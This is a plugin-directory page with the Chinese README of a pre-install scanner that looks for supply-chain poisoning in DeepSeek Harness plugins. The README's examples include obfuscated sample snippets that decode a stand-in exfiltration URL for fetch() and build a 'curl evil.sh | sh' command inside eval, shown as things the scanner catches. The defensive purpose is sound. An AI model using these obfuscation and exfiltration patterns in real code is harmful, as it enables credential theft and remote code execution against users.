DeepSeek Harness Hub
← 返回列表

插件投毒扫描器zoahdev/dsh-poison-guard

DeepSeek Harnessspec-screened在 GitHub 查看 ↗
未验证

安装前扫描插件,拦截混淆外泄与恶意脚本

尚未跑自动兼容性验证,可查看页面内的依赖与入口分析。 · 最近上游提交 2026/8/17 · 已提供中文文档

DeepSeek Harness 插件的预安装供应链投毒扫描器:AST(JS-X-Ray)+ 反混淆 + 正则表达式。可捕获混淆的窃取数据行为、eval、隐藏的 shell 命令。

综合分
27.7
GitHub 分
27.7
用户评分
★ Stars
1
周下载量
安装插件(需先安装 dsh CLI 引擎:npm install -g @deepseek-ai/dsh)
dsh plugin --profile web add zoahdev/dsh-poison-guard
该插件未发布到 npm,走 GitHub 源安装(pnpm 若拦截 prepare 脚本,按其提示在 pnpm-workspace.yaml 的 allowBuilds 中放行后重跑)
数据截至 2026/9/16(元数据每日更新 · 实装验证按队列轮转,单条结论的验证时间见上方)
依赖的 DSH / Cordis 模块
@deepseek-ai/cordis@deepseek-ai/dsh-tools
用户评分
还没有人投票,来当第一个
订阅周报,不错过优质插件更新
每周一封 · 高评分插件 + 新用户活动

README

dsh-poison-guard

CI
License: MIT
Release
npm

在线演示: https://zoahdev.github.io/dsh-poison-guard/

面向 DeepSeek Harness 插件的安装前供应链投毒扫描器。它不是玩具级的正则
grep:在你执行 dsh plugin add 之前,它会对每个插件运行三层检测——

1. AST 分析,通过 NodeSecure JS-X-Ray
(NodeSecure CLI 使用的 SAST):变量追踪、动态导入解析、
混淆器检测、eval/Function/vm 危险汇聚点、data-exfiltration、
serialize-environment、不安全 shell 命令等。
2. 反混淆解码器,可解开 atob()、Buffer.from(..., "base64"/"hex")、
String.fromCharCode(...) 以及 \xNN / \uNNNN 转义,然后重新扫描解码后的
字符串,查找隐藏的凭据、URL 和 shell 命令。
3. 正则启发式,作为兜底手段,用于明显的字面量、非代码文件以及
安装时脚本(prepare / postinstall / install / preinstall)。

诚实的威胁模型

没有任何静态工具能捕获所有投毒。检测任意代码中的任意恶意行为是
不可判定的(赖斯定理);坚定的攻击者总能构造出本扫描器无法看穿的
混淆。这个工具做的是让那些廉价、大批量的攻击——隐藏的外泄 URL、
混淆的 require("child_process")、对 base64 blob 的 eval、process.env
收集、.ssh 读取、安装时的 curl ... | sh——对那些靠阅读源码永远
找不到它们的人变得可见。它是纵深防御,不是安全边界。

真正的边界是 harness 沙箱:将不受信任的插件保持在 workspace-write,
绝不要 danger-full-access。最后一层是来源可信度:优先选择经过验证、有人维护、
作者明确的插件。

它能检测什么

| 严重级别 | 示例 |
| --- | --- |
| HIGH | ast/data-exfiltration、ast/unsafe-import(混淆的 require)、ast/unsafe-stmt(eval/Function/vm)、ast/unsafe-command、deobfuscated-secret、deobfuscated-key、deobfuscated-command、exfil-combo、凭据引用、私钥路径 |
| MEDIUM | ast/serialize-environment、ast/shady-link、ast/sql-injection、ast/monkey-patch、ast/prototype-pollution、deobfuscated-url、网络外联、child_process、安装时脚本 |
| LOW | ast/encoded-literal、ast/short-identifiers、ast/unsafe-regex、ast/crypto.weak-algorithm、env-read、base64 混淆 |

规则按层加前缀:ast/(JS-X-Ray)、deobfuscated-(解码器)、
install-script*(清单),以及无前缀(正则回退)。

用法

人类可读的判定结果
dsh-poison-guard scan ./some-plugin

机器可读(用于 CI 门禁)
dsh-poison-guard scan ./some-plugin --json

安装到某个 profile(随后 agent 会获得一个 plugin_scan 工具)
dsh plugin --profile web add dsh-poison-guard

或作为全局 CLI
npm install -g dsh-poison-guard

退出码:0 = CLEAN(干净),1 = 至少有一处发现(可将其接入 CI 门禁)。

示例

🔴 MALICIOUS  8 high / 5 medium / 4 low finding(s)
engine: AST(js-x-ray) + deobfuscation + regex | 1 source file(s), 3 AST warning(s), 3 decoded fragment(s)

[HIGH] ast/unsafe-import  index.js:6
obfuscated or untraceable import (require/import of a computed value)
[HIGH] deobfuscated-url  index.js:3
decoded obfuscated URL: https://evil.example/exfil
[HIGH] exfil-combo  (whole plugin):0
reads credentials/secrets AND makes network requests - the classic exfiltration shape

CI 门禁

- run: pnpm install --frozen-lockfile
- run: dsh-poison-guard scan ./my-plugin --json

该扫描器是同步的,运行时依赖极少(AST 引擎是纯 JavaScript,无原生模块)。

为什么 AST + 反混淆优于正则扫描器

正则扫描器会漏掉下面所有内容,因为没有任何字面字符串可供匹配:

const lib = Buffer.from("6673", "hex").toString()      // "fs"
const fs = require(lib)                                  // -> ast/unsafe-import

const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=") // "https://evil.example/exfil"
await fetch(target)                                      // -> deobfuscated-url

const cmd = String.fromCharCode(99,117,114,108)          // "curl"
eval("execSync('" + cmd + " evil.sh | sh')")             // -> deobfuscated-command + ast/unsafe-stmt

局限性

- 仅静态分析——不执行插件,也不观察运行时行为。
- 混淆可能变得不可判定;更强的混淆器(例如带字符串数组 + 控制流平坦化的 javascript-obfuscator)仍可能隐藏载荷。
- AST 层调至 aggressive(激进)敏感度以获得最大可见性;一个执行真实 eval/child_process 工作的良性插件也会被标记。
- 此处不强制执行沙箱策略;请将其与 harness 沙箱配合使用。

开发

pnpm install --frozen-lockfile
pnpm typecheck
pnpm build
pnpm test

MIT 许可证。社区模板——并非 DeepSeek 官方产品。

dsh-poison-guard(中文)

DeepSeek Harness 插件的安装前投毒扫描器。不是正则 grep,而是在 dsh plugin add 之前跑三层检测:

1. AST 分析(NodeSecure JS-X-Ray,NodeSecure CLI 同款 SAST):变量追踪、动态 import 解析、混淆器识别、eval/Function/vm、数据外发、process.env 序列化、危险 shell 命令等。
2. 反混淆解码器:解开 atob()、Buffer.from(...,"base64"/"hex")、String.fromCharCode(...)、\xNN/\uNNNN 转义,再对解出来的字符串二次扫描隐藏的密钥、URL、shell 命令。
3. 正则兜底:覆盖明显字面量、非代码文件、以及 prepare/postinstall/install/preinstall 安装脚本。

老实说边界

任何静态工具都无法拦住所有投毒(Rice 定理,不可判定)。它拦住的是大量低成本攻击:隐藏的外发 URL、混淆的 require("child_process")、base64 eval、process.env 收割、读 .ssh、安装脚本 curl ... | sh。它是纵深防御,不是安全边界。真正的边界是 harness 沙箱:未验证插件永远别开 danger-full-access;最后一层是来源信誉。

用法

dsh-poison-guard scan ./some-plugin
dsh-poison-guard scan ./some-plugin --json   # 接 CI 门禁
dsh plugin --profile web add github:zoahdev/dsh-poison-guard

退出码:0 = CLEAN,1 = 有发现。装进 dsh 后,agent 会多一个 plugin_scan 工具,可扫任意插件目录。

为什么比纯正则强

正则抓不到下面这些(因为没有可直接匹配的字面量):

const lib = Buffer.from("6673", "hex").toString()  // "fs"
const fs = require(lib)                            // -> ast/unsafe-import
const target = atob("aHR0cHM6Ly9ldmlsLmV4YW1wbGUvZXhmaWw=")
await fetch(target)                                // -> deobfuscated-url

MIT 许可。社区模板,非 DeepSeek 官方产品。

上游仓库有新提交时邮件通知你(每天最多一封,无更新不打扰),随时一键退订。

💬 加入 DPharness 群聊

插件用法、部署报错、新插件第一时间同步——群里问,比一个人翻文档快。

点击加入 QQ 群
DPharness 群聊二维码,手机 QQ 扫码进群
扫码进群